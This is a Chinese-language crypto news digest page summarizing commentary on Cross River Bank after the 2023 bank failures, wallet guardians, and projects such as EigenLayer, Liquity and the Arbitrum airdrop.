与一些顶级风险投资(VC) 关系密切，拥抱 Cross River 似乎成为了一个自然的选择。 2017 年，Cross River 宣布完成 2800 万美元融资，Battery Ventures、Andreessen Horowitz（a16z） 和 Ribbit Capital 参投； 2018 年，Cross River 宣布完成约 1 亿美元融资，其中 7500 万美元来自全球投资巨头 KKR 的股权投资，Battery Ventures、Andreessen Horowitz 和 Ribbit Capital 也参与了本轮融资。 需要注意的是，导致 Silvergate Bank、硅谷银行和 Signature Bank 这三家银行挤兑的部分原因是他们拥有太多传统科技公司客户，在美元高利率环境下，这些公司已成为一种较高风险的资产，而这种情况似乎也可能发生在 Cross River 身上，因为这家银行同样涉足科技领域，比如除了为Coinbase和 Stripe 等公司提供金融基础设施之外，他们还为“先买后付”服务 Affirm 等金融科技公司发放贷款。 Silvergate Bank 的倒闭始于独立审计师和会计师事务所担忧其无法提交财务报表，而硅谷银行的倒闭则显然非常突然，之后多米诺骨牌倒向 Signature Bank，引发了加密友好银行的倒闭潮。 佛罗里达大学金融学教授 Jay Ritter 解释说： “硅谷银行陷入困境在于他们的资产和负债的期限不匹配，他们在期限较长的国债和抵押贷款支持证券上投入了相当数量的资金，当利率上升时，这些投资的价值就会下跌。当然，银行会计可以历史成本的方式（而不是基于当前市值）在资产负债表上保留很多价值，但这并不意味着监管机构不会关注当前的市场价值，因此对于 Cross River Bank 而言，监管机构肯定会引以为戒，确保他们不会陷入与硅谷银行一样的问题。” 事实上，Cross River 并不是加密公司考虑用于支付基础设施的唯一一家银行，比如 Circle 还选择了纽约梅陇银行来存储其 USDC 储备金，而总部位于亚利桑那州的“创新银行” Western Alliance Bank 目前也可以为加密公司提供支付基础设施服务。毫不夸张地说，不少传统金融机构仍然希望进入加密市场以填补 Silvergate Bank、硅谷银行和 Signature Bank 留下的空白。 此前由于欺诈和加密盗窃频发，每个人都认为加密市场风险相对较高，去年加密市场出现了许多引人注目的丑闻，包括流动性危机和加密货币交易所FTX的破产，现在加密友好银行的倒闭无疑又加剧了加密行业动荡，这意味着监管机构势必会提高监督力度并增加对其他加密货币友好银行的审查，包括特别关注这些银行薄弱的资产负债表、根据利率风险和加密货币风险来重新审视银行。 监管机构现在肯定会保持警惕，紧盯包括Cross River在内仍然“存活”的加密友好银行，以确保他们的资本充足。同样地，未来加密友好银行想要隐瞒事情也会变得越来越难。  ( 5 min )

  • Open

    Vitalik 最新观点：如何为多签钱包和社交恢复钱包选择守护者？
    Chainfeeds 导读： Vitalik 发文探讨如何安全使用多签名钱包和社交恢复钱包，他认为两个关键问题是：你选择谁作为守护者，以及你给他们什么指示？本文由链捕手编译。 文章来源： https://www.chaincatcher.com/article/2089488 文章作者： Vitalik Buterin（以太坊联合创始人） 观点： Vitalik Buterin（以太坊联合创始人）：守护者可以是你自己的设备，但不要让过多的设备成为你的守护者。我的经验是，你应该至少控制一名守护者，最多控制 N-M 名守护者。另外，每个守护者应该在一个单独的设备上。选择不经常交谈的守护者，或者最好是不认识的守护者。另外，你要尽可能地减少守护者之间的关联性。 内容来源 Vitalik Buterin（以太坊联合创始人）：守护者在批准一项操作前应先提出一个密保问题。如果你是「Degen 老手」，确保你的守护者能够快速反应。每年至少对每个守护者进行一次测试。关于账户隐私问题：目前还没有技术可以使你的财务隐私不受守护者的影响。但这是一个可以从技术上解决的技术问题：守护者不是直接守护你的账户，而是守护一个「保险箱」合同，你的账户和保险箱之间的链接被隐藏起来。 内容来源  ( 3 min )
    【英文】企业以太坊联盟：值得关注的 5 个 EthDenver 2023 主题分享
    Chainfeeds 导读： 企业以太坊联盟（EEA）整理了 5 个值得关注的 5 个 EthDenver 2023 主题分享，涵盖 DAO、区块链伦理学、公共物品、MEV 以及监管等热点话题。所有讨论均有视频录屏。 文章来源： https://entethalliance.org/ethdenver-2023-top-5-sessions-you-dont-want-to-miss/ 文章作者： Anaïs Ofranc 观点： Anaïs Ofranc：Structure without Capture。演讲者 David Ehrlichman 讨论了在 DAO 中以可撤销的方式委派角色和职责的困难，这限制了 DAO 成员有效完成工作的潜力。Ehrlichman 认为，运营授权是高效完成工作的关键。目前，像 DAO 这样的非层次结构在一致性和凝聚力方面有待突破。 【原文为英文】 内容来源 Anaïs Ofranc：Blockchain Ethics: Ethereum, Web3, and Decentralized Morality。演讲者 Reuben Youngblom 讨论了为去中心化世界制定道德框架的必要性。Youngblom 认为，负责任的开发和道德考虑对于技术的成功和减少负外部性至关重要。他建议按照生物伦理学对区块链伦理进行建模，该伦理学开发了一个可以指导该领域决策的四项伦理原则框架：去信任、客观性、尊重自主权和无需许可。【原文为英文】 内容来源 Anaïs Ofranc：MEV Relays: Dumb Pipes or Something More? 演讲者 Alex Nathan 解释了供应链中各种参与者的角色，包括搜索者、区块构建者、验证者和中继者，并强调了监控和确保 MEV 中继器可信度的重要性。该演讲还涉及 OFAC 合规性和审查制度等有争议的话题。【原文为英文】 内容来源 Anaïs Ofranc：Reversing top-down capital control: one public good at a time。演讲者 Lauren Loose 重点关注公共产品所面临的挑战，这些产品可以免费获得，但缺乏创新和有效的反馈系统。Lauren 强调公共产品部门需要有效的反馈和创新系统，并提议创建 Impact DAO，一个自下而上、不断发展、目标驱动的协调网络。将非营利组织转变为 Impact DAO 的四个步骤是识别利益相关者、分配声誉、实施投票系统和启动再生经济。【原文为英文】 内容来源 Anaïs Ofranc：Ethereum and Financial Institutions: Exploring the Landscape, Use Cases, and Obstacles。来自金融行业和监管机构的领导者探讨了以太坊的现状和未来前景。他们讨论了传统金融机构在尝试采用区块链技术特别是像以太坊这样的无需许可的区块链所面临的挑战。并讨论了满足监管要求（例如 AML 和 KYC）、管理风险、标准化、杀手级应用和开发新市场的重要性。【原文为英文】 内容来源  ( 15 min )
    【数据】Arbitrum 空投代币领取数据（Dune 仪表盘）
    【数据】Arbitrum 空投代币领取数据（Dune 仪表盘） 由 Blockworks Research 制作的 Arbitrum 空投代币领取数据仪表盘，提供 Arbitrum 代币 ARB 空投的实时领取数量、地址和其他相关数据。 内容来源 观点： ChainFeeds：共有 625143 名用户获得 Arbitrum 代币空投，人均获得 1859 枚 ARB。空投领取数据将在开放申领后更新。 内容来源
    一文了解 ERC-4804：不会被封的 Web3 URL？
    Chainfeeds 导读： 首个以太坊 Web 访问协议 ERC-4804 于近期获得批准并最终确定，这意味着 Web3 URL 正式进入以太坊，互联网用户也将可以更轻松地访问以太坊 APP 和 NFT。Cointelegraph 作者 Felix NG 结合官方文档介绍了 ERC-4804 协议的应用，同样也指出了该协议存在的问题。本文由星球日报编译。 文章来源： https://www.odaily.news/post/5185811 文章作者： Felix NG 观点： Felix NG：ERC-4804 解决的问题：用户在浏览器中输入「web3://」即可直接调出 Uniswap 或链上 NFT 等 Dapp，这是因为该标准允许用户直接对以太坊虚拟机（EVM）运行查询，继而为 Web2 用户提供一种简单的方式来直接访问 Web3 的内容，尤其是 SVG/HTML 等链上 Web 内容，此外该标准也支持其他已经与 URI 兼容的标准（如 SVG/HTML）的互操作性，继而不必担心中心化审查问题。 内容来源 Felix NG：ERC-4804 与 IPFS 的区别：IPFS URL 只能链接到静态内容，无法修改或更改。相比而言，ERC-4804 将允许「动态数据」，例如允许人们留下喜欢和评论以及与网站上的内容互动，而且作为以太坊原生的标准，ERC-4804 也有望更容易地与其他区块链进行交互。 内容来源  ( 7 min )
    【英文长推】Chapter One：读懂 EigenLayer 「重质押」模式的优越性
    Chainfeeds 导读： EigenLayer 将 ETH 的安全性扩展到所有的链上应用，是以太坊基础设施的重大进展，并永久消除了预言机和跨链桥漏洞。Chapter One 研究员 Alex Gu 解析了该模式的优越性，以及带来的新的商业模式。 文章来源： https://twitter.com/AlexGuuu/status/1636414345893801985 文章作者： Alex Gu 观点： Alex Gu：在 EigenLayer 之前，任何不能在 EVM 之上部署或验证的模块，都无法获得以太坊的共享信任。因此，开发人员需要构建自己的主动验证服务（AVS）。除了明显的技术开销外，这使得 dApp 拥有多个信任网络，由于这些模块的贿赂成本低，因此这些 dApp 更容易受到攻击。随着越来越多的模块和 dApp 的构建，安全性变得越来越分散。【原文为英文】 内容来源 Alex Gu：EigenLayer 使模块能够使用重质押的 ETH 而不是自己的代币进行安全保护，并可以根据风险和回报在模块之间重新分配重质押的 ETH。EigenLayer 上的 「Restakers」操作节点可以为其服务赚取额外收入，同时控制因不当行为而被惩罚的风险。EigenLayer 将贿赂的最低成本提高到以太坊的成本，大大降低了 51% 的攻击风险。【原文为英文】 内容来源 Alex Gu：数据可用性：EigenDA 是一个可选择的中间件，它结合了 DA 采样和监管证明，为 Calderaxyz 这样的应用 Rollup 提供数据可用性；去中心化的排序器：EigenLayer 通过重质押的 ETH 来实现去中心化，用于排序器的 Leader 选举。【原文为英文】 内容来源 Alex Gu：商业模式：1. 如果一个模块作为商业服务运作，Eigenlayer 使该公司能够从 gas 中赚取一小部分作为服务费用；2. 如果一个模块作为一个协议运行，用户可以选择使用其原生代币来支付 gas 费用。该费用将分配给 EigenLayer 上的 AVS 和 ETH 质押者，从而确保原生代币有自己的效用。【原文为英文】 内容来源  ( 2 min )
    详解币安 Launchpad 项目 Space ID：经济模型、市值估算与市场展望
    Chainfeeds 导读： SPACE ID 是基于 BNB 链和 Arbitrum One 链的去中心化域名协议，为用户提供一站式 Web3 域名和身份的平台。Space ID 此前获得了币安实验室、Polychain Capital 等资本的融资，并是币安 Launchpad 即将上线的第 30 个项目。PANews 作者雾海从 Space ID 的运营进展、代币经济模型、预期市值和空投细则等方面解析了该项目。 文章来源： https://www.panewslab.com/zh/articledetails/8xg9axnf.html 文章作者： 雾海 观点： 雾海：根据大致计算，SPACE ID 团队通过 .bnb 域名收入为 384 万美元，ARB ID 团队 .arb 域名收入为 133 万美元。根据多个 NFT 交易平台数据，.bnb 域名当前总交易额为 49744 枚 BNB，.arb 域名当前总交易额为 338ETH。 内容来源 雾海：对比而言，ENS 域名注册费收入为 SPACE ID 域名注册费收入的 13.56 倍，总交易额（折合当前美元价值）7.7 倍。据此估算 SPACE ID 代币上线后全流通市值为 ENS 市值的十分之一，则 ID 代币（SPACE ID 的治理代币）市值为 1.5 亿美元左右，计算出其公允价格为 0.075 美元。 内容来源 雾海：根据 SPACE ID 的经济模型，其将超 50% 的代币分配归官方所有，超 30% 用于销售，仅向社区分发 10%，追溯性激励相对偏低，并且长达两年周期。因此该模型极度集中化，并不符合规划中 DAO 的初衷。 内容来源 雾海：在 ENS 域名目前尚未多链或从未有多链计划的前提下，SPACE ID 整合其他多条 EVM 链及 L2 生态，为其构建域名服务，占领 ENS 域名没有触及到的领域，从商业模式而言未尝不是一种更优选择。至于 SPACE ID 的域名和平台版图能扩展到多大，是否真实符合市场需求，待进一步观察。 内容来源  ( 5 min )
    【英文长推】解析流动性质押协议 Stader：有何优势与创新？
    Chainfeeds 导读： Stader 是一个多链流动性质押协议协议，于今年二月底推出了以太坊流动性质押代币 ETHx。加密 KOL DeFI Saint 从 ETHx 架构、保证金机制、代币经济模型等方面分析了该协议，并认为 Stader ETHx 将引领下一波以太坊 LSD 叙事。 文章来源： https://twitter.com/TheDeFISaint/status/1635913799378120709 文章作者： DeFI Saint 观点： DeFI Saint：Stader ETHx 将引领下一波 LSD 叙事的原因：1.Stader ETHx 使用多池架构，将允许无需许可节点运营商运行一个节点，无需白名单，只需要 4 个 ETH 作为保证金，这是所有 LSD 协议中要求最低的；2.Stader ETHx 是 DVT（分布式验证技术）的首批采用者之一，这将有助于通过减少罚没风险来提高容错率。【原文为英文】 内容来源 DeFI Saint：3. 许可节点运营商将作为无需许可节点运营商的补充，不需要任何保证金要求，并将获得 5% 的佣金，这能促使更多有经验的节点运营商加入；4.Stader 本身是一个多链 LSD，可以从其他链上为以太坊带来附加价值，未来是多链的。【原文为英文】 内容来源 DeFI Saint：代币经济模型：$SD 是 Stader 的原生和治理代币。在第一阶段无需许可节点运营商需要 4 个 ETH 和等值于 0.4ETH 的 SD 作为保证金，第二阶段节点运营商将可以通过借贷获得 0.4ETH 的 SD。Stader 还采用真实收益，将协议费和 SD 保证金的累积价值分配给 SD 质押者。此外，Stader 还分配了 80 -150 万 SD 代币（价值约 100 - 200 万美元）作为激励节点运营商的特别奖励。【原文为英文】 内容来源  ( 2 min )
    【英文】新项目前瞻 | Telepathy：使用 zkSNARKs 构建的以太坊去中心化互操作协议
    Chainfeeds 导读： Succinct Labs 宣布在以太坊主网上推出去中心化 zkSNARK 互操作性协议 Telepathy。Telepathy 使用 zkSNARKs 构建，允许开发人员通过以太坊轻客户端协议的安全性，实现从以太坊到任何其他链的无信任通信。 Succinct Labs 团队撰文从技术实现、潜在用力及发展规划进行了介绍。 文章来源： https://blog.succinct.xyz/blog/telepathy 文章作者： Succinct Labs 观点： Succinct Labs：Telepathy 的核心创新是「共识证明」（Proof of Consensus）：这是一种以太坊轻客户端协议的零知识简洁证明，使我们能够在任何链上为以太坊运行 gas-efficient 链上轻客户端。「共识证明」直接验证 zkSNARK 中的以太坊验证者签名，因而可以在不妥协的情况下实现互操作性。【原文为英文】 内容来源 Succinct Labs：Telepathy 的电路是有史以来为 Groth16 编写的最大电路之一（共约 100M 约束）。它实现了并行见证生成、同构承诺和公共输入压缩，以优化证明时间并降低链上验证成本。该协议目前在以太坊主网 Goerli、Gnosis、Polygon、Binance Smart Chain、Avalanche、Arbitrum 和 Optimism 上运行。【原文为英文】 内容来源 Succinct Labs：文档：https://docs.telepathy.xyz；展示：https://demo.telepathy.xyz；浏览器：explorer.telepathy.xyz。 内容来源  ( 7 min )
    【英文长推】Delphi Digital：探索银行危机对加密市场的影响
    Chainfeeds 导读： 硅谷银行倒闭和 USDC 暂时脱钩后，Delphi Digital 研究主管 Kevin Kelly 和市场分析师 Jason Pagoulatos 就事件对加密货币未来的影响进行了探讨，主要分析了市场为什么下跌，市场短期反弹对宏观和加密市场下游的影响及 TBills 的吸引力等内容。 文章来源： https://twitter.com/Delphi_Digital/status/1636409847926378497 文章作者： Kevin Kelly、Jason Pagoulatos 及 Brian McRae 观点： Kevin Kelly：1）我们走到这里的原因：贷款活动在 2021 年中期和 2022 年的回升；2）价格下跌的原因：较长期限的资产在快速上升的利率环境中更容易受到价格下跌的影响；3）只是流动资金的问题？满足即时现金需求让事情变得复杂；4）存款正在存银行流出？银行并没有这么多现金；【原文为英文】 内容来源 Kevin Kelly：5）和 2019 年危机的相似性：鉴于这些类似的条件，可能是摆脱紧缩的第一步；6）长远来看，更看好加密领域；7）对 USDC 脱钩的看法：人们正在使用 USDC 购买现货比特币；8）不确定性：随着机密货币在美国被去银行化，该领域充满不确定性。【原文为英文】 内容来源  ( 2 min )
    【长推】探究 Cosmos 生态的 LSD 机遇及局限
    Chainfeeds 导读： 与近期火热的以太坊 LSD 相比，无论从市场关注度还是 LSD 资产总量， Cosmos 生态的 LSD 赛道都鞭长莫及，但其背后其实蕴含着巨大的潜在机会。加密研究员 yyy 从流动性机制、安全性和链的定位对 4 大 Cosmos 生态 LSD 协议进行了横向对比。 文章来源： https://twitter.com/y_cryptoanalyst/status/1636330359523799041 文章作者： yyy 观点： yyy：1) 流动质押机制； pSTAKE Finance、Stride、StaFiHub Quicksilver Protocol 均通过 ICA 实现；2）安全性：Stride 是共享 Cosmos Hub 安全性（ICS），其他 LSD 协议的安全性都由它们自己的 validator set 负责；3）链的定位：Stride 的设计是「极简」链、pSTAKE Finance 及 StaFiHub 有部署其他智能合约，而 Quicksilver Protocol 也明确表示计划会有其它智能合约部署。 内容来源 yyy：存在的问题：1）可组合性：Cosmos LSD 协议不具备类似以太坊 LSD 的可组合性优势。ICA 的集成只是解决了原生资产 ($ATOM) 的跨链问题，并没有解决流动质押资产的跨链问题；2） 质押凭证应用场景：目前能获得超额收益主要来自协议资产激励这一环，但由于 Cosmos 生态并未出现一些头部的借贷协议，息差套利部分的收益未充分体现。 内容来源 yyy：看好逻辑： 1) Cosmos 生态的繁荣会直接扩展 LSD 代币的应用场景；2) 底层基础设施的完善将极大提高 LSD 用户的交互体验；3) 应用链相对于 Dapp 与生俱来的代币赋能优势。 内容来源  ( 2 min )
    【英文长推】一文简要概述 Starknet 的 zk-Starks 技术及其生态系统
    Chainfeeds 导读： Starknet 的技术有益于释放以太坊生态系统的潜力，而 Cairo 和 zk-Starks 则共同努力确保快速、安全和可扩展的交易，其 dapp 有助于突破 DeFi、NFT、DAO 和游戏的可能性边界。加密研究员 Salazar.eth 撰推简要概述了 Starknet 的关键技术 zk-Starks，并盘点其生态系统项目。 文章来源： https://twitter.com/0xSalazar/status/1636314318655430656 文章作者： Salazar 观点： Salazar：Starknet 是以太坊的 zk rollup 扩展解决方案，其主要区别在于它的 Clairo 语言和 zk-Stark 技术，其目标是减少验证交易所花费的时间，同时保持 ETH L1 的安全性，从而实现低交易费用和高吞吐量。其中 Cairo 是用于 Starknet 合约的语言，旨在生成 STARK 证明。【原文为英文】 内容来源 Salazar：zk-Starks 在 Starknet 中有何作用？1）计算的完整性，即 L2 计算可以被验证为 L1 的计算。2）隐私和可扩展性；3）通用性，可用于构建任何通用计算；4）透明度，任何一方都可以验证计算，而无需依赖任何外部参数和假设，从而增强安全性和隐私性。【原文为英文】 内容来源 Salazar：生态系统项目：1）Argent，Web3 中第一个使用账户抽象技术的智能合约钱包。2）ZKX，期货 DEX。3）Pxls，实验性的链上 NFT 平台。4）Dolven Labs，基于 DAO 为 Starknet 上的创新项目提供早期投资和支持。5）JediSwap，社区主导、完全无许可且可组合的 AMM。【原文为英文】 内容来源  ( 2 min )
    观点：燃烧通缩不能决定 ETH 天花板，所以 ETH / BTC 汇率暴跌
    Chainfeeds 导读： ETH / BTC 汇率暴跌，加密 KOL MMT 实习生，撰推发表自己的见解，解读暴跌原因。 文章来源： https://twitter.com/RebaseMMT/status/1636361323901747200 文章作者： MMT 实习生 观点： MMT 实习生：$BTC 取决于流动性印钞，具体为印钞预期，其次是情绪也就是动物精神，具体为逼空、避险。而 ETH 取决于加杠杆，老 DeFi CRV AAVE 都在推稳定币加最后一层杠杆，衍生品 GMX、GNS 以及 LSD 的 LDO、SSV 杠杆都才开始，现在印钞的预期重启，还有逼空情绪 BTC 大涨，而 ETH 加杠杆才开始。 内容来源 MMT 实习生：要 DeFi 杠杆先涨，ETH 才能涨而非相反。Jump Trading 等做主要机构的持仓来看也是透露 ETH 短期难大涨。市场好了，他们会用持有的 ETH 买新故事新赛道的山寨币，所以 ETH 是出货的，而不是很多韭菜自以为是 ETH 燃烧通缩，价格一飞冲天的故事。燃烧通缩对 ETH 只决定地板价，不能决定天花板。所以 ETH/BTC 汇率暴跌了。 内容来源  ( 2 min )
    【英文长推】去中心化稳定币迎来春天？去中心化稳定币 LUSD 发行商 Liquity 剖析
    Chainfeeds 导读： USDC 脱锚事件一度催动了市场对去中心化稳定币的关注，去中心化稳定币叙事开始了吗？加密研究员 Surf 对 Liquity 背景、运作机制、LUSD 挂钩模式及其代币 LQTY 进行了概述。 文章来源： https://twitter.com/0xsurferboy/status/1636306346567151616 文章作者： Surf 观点： Surf：Liquity 机制：1）Troves：类似于 MakerDAO 中的金库，允许用户接受和管理贷款。用户的以太坊地址会被链接至一个 Trove，其中包含 ETH 资产余额和 LUSD 债务余额；2）稳定资金池：流动性来源，在被清算的情况下能够维持系统的偿付能力，资金来源是用户转入的 LUSD；3）清算模式：低于最低抵押率 110% 的 Troves 将被清算，当系统总抵押率低于 150% 时会触发 Recovery 模式。【原文为英文】 内容来源 Surf：LUSD 通过两种机制和美元挂钩，硬挂钩机制包括 1 美元的价格下限和 1.1 美元的价格上限，在确定 Trove 抵押品比率时，软挂钩机制将使得 LUSD 和 USD 挂钩。基准利率公式决定了赎回率，随着每次赎回而递增，如果没有发生赎回，则会降为 0%。而 Liquity 套利者则会阻止 LUSD 达到 1.1 美元。【原文为英文】 内容来源 Surf：LQTY 是 Liquity 原生代币，但并不是治理代币，其最大供应量为 1 亿枚，可以通过为 LUSD/ETH Uniswap 池提供流动性及成为稳定币供应商或前端供应商等方式获得。LQTY 还可以用质押 LUSD 和 ETH 赚取一定比例的借贷和赎回费用。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Conic Finance 机制解读：或将推动下一场「Curve War」？
    Chainfeeds 导读： Conic Finance 推出 2 周内达到了 6400 万美元 TVL 峰值。加密研究员 Winter Soldier 就 Conic Finance 的协议机制及其是否会成为 crvUSD 去杠杆催化剂进行了分析解读。 文章来源： https://twitter.com/WinterSoldierxz/status/1636404472787374083 文章作者： Winter Soldier 观点： Winter Soldier：协议机制：1）Omnipool：允许 LP 将单一资产存入 Omnipool，Omnipool 将流动性部署在多个 Curve 池上，目前有包括 USDC、DAI 及 FRAX 的 Omnipool；2）流动性分配投票（LAV）：用户可以锁仓 CNC 获得 vlCNC 以参与 Snapshot 上的双周流动性分配投票以确定每个 Omnipool 分配给 Curve 池子的流动性数量；3）流动性再平衡：为了恢复和保持流动性分配，依靠基于 Omnipool 的存取款激励和被动再平衡系统。【原文为英文】 内容来源 Winter Soldier：考虑到贿赂市场的竞争力，协议可能会有动力积累 CNC，将流动性导向特定 Curve 池。Conic Finance 可以用来确保协议的主要流动性来源在 Curve 池子中的最低底线。但由于 CNC 的收入分享还没有被治理部分启用，因此零售用户锁仓 CNC 的动机不高。【原文为英文】 内容来源 Winter Soldier：如果在 Conic Finance 上部署一个 crvUSD 的 Omnipool，它可以使用 crvUSD 在同一区块内产生套利利润，类似于闪电贷。此外，crvUSD omnipool 的功能有点类似 Liquity 稳定池，它保证了清算的深度流动性。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Messari：OP Stack 代表了开源协作和协议设计的新范例
    Chainfeeds 导读： OP Stack 是用于构建模块化、以太坊为中心的 rollup 的完整 SDK，Optimism 通过推出 OP Stack 来改变当前的 rollup 格局。Messari 研究报告分析了 OP Stack 的原理、架构，认为以太坊有望从中受益，OP Stack 代表了开源协作和协议设计的新范例。 文章来源： https://twitter.com/MessariCrypto/status/1636374574291116040 文章作者： Messari 观点： Messari：OP Stack 是支撑 Optimism 生态系统的软件，这包括主网 L2 和使用称为「op-chains」的开源代码构建的链。OP Stack 在 rollup 执行层被分解为可定制的模块：1）执行节点，交易传播和执行；2）rollup 节点，基本的 rollup 特定功能；3）证明计划，交互式 EVM 等价乐观欺诈证明引擎。【原文为英文】 内容来源 Messari：执行节点和 rollup 节点由排序器和验证器以不同模式运行。排序器处理交易、构建块并将压缩的区块批次发布到 L1。验证者跟踪排序器，用欺诈证明挑战他们。OP Stack 不仅仅是一个 EVM rollup SDK，它还扩展到支持的任何 Optimism 基础设施、超级链和以太坊上游。基础设施包括：区块浏览器、治理系统、证明、rollup 间通信机制。【原文为英文】 内容来源 Messari：通过尽可能接近以太坊的代码库和架构，OP Stack 继承了许多优点，即：简单性、熟悉性、客户端多样性和可扩展性。 以太坊也有望从 OP Stack 中受益，其新的开发可能对 L1 很有用，EIP 可以在以太坊为中心的 rollup 环境中进行实时测试。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解读 Berachain：基于 Cosmos 的 EVM 兼容 Layer1
    Chainfeeds 导读： 加密 KOL hangry 撰推介绍基于 Cosmos 的流动性证明、EVM 兼容的 Layer1 Berachian，其目标旨在创建一个由 meme 推动的可组合、可兼容、高流动性的网络。推文分析了其独特的三重代币经济模型、价值主张，以及链上的生态项目。 文章来源： https://twitter.com/kindahangry/status/1636351659210338304 文章作者： hangry 观点： hangry：社区的疯狂使 Berachian 与众不同。由于链的架构和三重代币经济，该链也被构建为流动性黑洞： $BERA（gas 代币）；$BGT（治理代币）；$HONEY（稳定币）。最重要的是，它将与 EVM 兼容，允许项目轻松扩展到 Berachain。该链具有吸引用户和项目的独特文化，虽然它与大多数其他 L1 有很大不同，但我认为它有很大的潜力。【原文为英文】 内容来源 hangry：没有公开的具体路线图，但最初暗示了在今年第一季度推出测试网，虽然可能已被推迟。他们最近还宣布了 Polaris，一个与 Cosmos EVM 兼容的区块链框架。有大量非常酷的项目已经在 Berachain 上构建。其中一些是 Berachain 原生的，而另一些则从其他链扩展。从 Solidly DEX 到 GameFi，数十个项目已经宣布即将推出。【原文为英文】 内容来源  ( 2 min )
    【英文】速览去中心化共享序列层 Espresso Sequencer 设计理念、优势及路线图
    Chainfeeds 导读： Espresso Sequencer 是一个去中心化共享序列层，旨在提供安全性、高吞吐量及低延迟的交易序列和可用性。加密基础设施公司 Espresso Systems 撰文对其设计理念、优势、组件、如何融入 Rollup 生态系统及路线图等内容进行了解读。 文章来源： https://hackmd.io/@EspressoSystems/EspressoSequencer#II-Espresso-Sequencer-Motivations 文章作者： Espresso Systems 观点： Espresso Systems：Espresso Sequencer 组件：1）共识协议 HotShot：在乐观假设下提供高吞吐量和快速响应性，在悲观假设下保持安全性和有效性；2）数据可用性解决方案 Espresso DA：具备高度可扩展性；3）Rollup REST API：用于和 L2 Rollup 整合；4）Sequencer 合约：验证 HotShot 共识的智能合约，即作为一个轻客户端；5）一个网络层：使参与 HotShot 节点和 Espresso DA 之间的交易和共识信息得以沟通。【原文为英文】 内容来源 Espresso Systems：Espresso Sequencer 优势：1）具有 Optimsim 响应性，兼具 Web2 性能和 Web3 安全性；2）Espresso Sequencer 的核心是 HotShot 共识协议，能够将高吞吐量和快速终局性置于动态可用性之上；3）安全性更高：Espresso Sequencer 基本目标是消除对单一中心化排序器的信任需求；4）与 PBS 兼容。【原文为英文】 内容来源  ( 24 min )
    【英文】从交易生命周期角度定义 MEV 策略中的延迟性能指标
    Chainfeeds 导读： 延迟仍然是 MEV 中的一个主要原则。为链上交易和套利构建低延迟系统是一个多层面的问题。加密研究者 Taker 撰文对链上交易声明周期中存在的延迟来源进行了解读。 文章来源： https://mirror.xyz/0x00000a2A02540A0D92e209F9f5F7e104745e06Ba/uYOelwkLc4K7nlo5XV_zpuqsV6MwIMMp-py4e-u4qnE 文章作者： Taker 观点： Taker：链上执行的交易策略通常的流程是节点从用户收到待定交易或作为区块提议者提出交易区块传播给系统，随后交易系统进行处理，交易在区块网络中传播。一个交易策略可以考虑将一个待定交易或提议区块作为触发事件，延迟会对基于剩余时间的竞价机制获取起到垄断性作用。【原文为英文】 内容来源 Taker：延迟来源可以分为以下四类：1）触发器传播延迟：触发器事件从节点、区块提议者或链外服务发送，然后被交易系统接收所需的时间；2）Tick-to-trade：衡量的是交易系统收到触发器，然后产生交易决策执行的时间；3）交易传播延迟：交易从交易系统发出并被下一个区块提议者、构建者、Rollup 排序者或拍卖决定者接收的时间；4）供应链延迟：交易在被构建者收到后，通过中继器发送至验证者所需要的时间。【原文为英文】 内容来源  ( 9 min )
    【英文】Bankless：解读 Arbitrum 代币空投及 L3 的开发框架 Arbitrum Orbit
    Chainfeeds 导读： Arbitrum 宣布近期发布代币，并空投给早期用户，还宣布了 Arbitrum Orbit，一个用于创建基于 Arbitrum 的 rollup 的 L3 的框架。Bankless 撰文分析了有关代币 ARB 和 Orbit 的所有信息，它们对 Arbitrum 生态系统的影响，以及这些功能将如何撼动日益激烈的「L2 战争」。 文章来源： https://www.bankless.com/the-arb-arbitrum-airdrop-is-here/ 文章作者： Bankless 观点： Bankless：ARB 将用于参与 Arbitrum DAO 对 Arbitrum 生态系统的管理，包括 Arbitrum One 和 Arbitrum Nova。代币持有者似乎也拥有控制 Arbitrum IP 的权利，因为 DAO 治理有能力批准创建其他 L2。100 亿代币总供应量中的 11.62% 将空投给个人用户，43% 将流向 DAO 财务部门，约 27% 留给团队，约 17.5% 流向项目投资者，剩余的大约 1% 将进入 Arbitrum 生态系统中的 DAO。【原文为英文】 内容来源 Bankless：Arbitrum Orbit 是一个用于创建 L3 的开发框架，即结算到另一个 L2 的 rollup ，保留了 L2 的安全性，但随着堆栈每一层的吞吐量复合，具有可扩展性大幅增加的潜力。Orbit 是无许可的，创建的 L3 无需 DAO 的许可即可结算到 Arbitrum 链。Orbit 还将与 Arbitrum Stylus 兼容，这是一项未来升级，将使开发人员能够使用 C、C++ 和 Rust 等传统编程语言构建 dapp。【原文为英文】 内容来源 Bankless：将如何影响 Arbitrum 经济？1）ARB 的空投将刺激 Arbitrum 经济，在早期采用者中创造财富效应，可能会导致 ARB 生态代币表现优于大盘。2）用户涌入和资金流入 L2，L2 上的项目应该会得到收入、用户和其他核心 KPI 的增加。3）ARB 可能会被许多项目用于激励计划，将增加 DeFi 「农民」收益，可能吸引数十亿美元的资金进入 Arbitrum 生态，引起 TVL 大幅增加。【原文为英文】 内容来源 Bankless：对 L2 战争的影响：1）巩固了 Arbitrum 的 DeFi 护城河，有助于其拉开与竞争对手的距离；2）提出 L2 代币的（潜在）新价值主张，授予其 DAO 许可 Arbitrum 的 IP 的权利来撼动 L2 格局。3）Orbit 很可能会将 Arbitrum One 变成一个结算层，增加了在 Arbitrum 生态系统中构建自定义 L2 的吸引力。Orbit 相对于 OP Stack 无疑已经拉平了竞争环境。【原文为英文】 内容来源
    【英文】Bankless：DeFi 是否过于依赖银行？
